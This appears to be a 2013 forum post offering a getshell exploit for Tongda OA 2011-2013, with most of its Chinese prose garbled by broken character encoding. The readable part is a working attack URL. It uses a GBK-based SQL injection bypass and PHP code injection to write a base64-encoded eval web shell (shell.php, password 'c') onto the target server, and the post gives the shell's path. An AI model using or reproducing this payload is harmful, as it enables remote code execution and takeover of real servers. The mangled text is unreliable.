admin 2013-2-4 16:19:29

ͨOA 2011-2013 ͨɱGETSHELL޸

˳ͨƪgbkӲ, 80%SQL䶼ܿ, ڽݿʱselectunion, Ҵ˳ܷʽҲܵ, ע뷽Ͳ.


EXP

һ: http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}

ڶ: http://site/general/email/index.php

SHELL: http://site/general/email/shell.php C


˳дķdz, ֪ΪܺԭdzԱд, мҪ¼ͨɱgetshell,Ͳ, Σ˲

ĵͬѧԼ, ׾ͷֵ o(_)o ~~
​

ҳ: [1]
鿴汾: ͨOA 2011-2013 ͨɱGETSHELL޸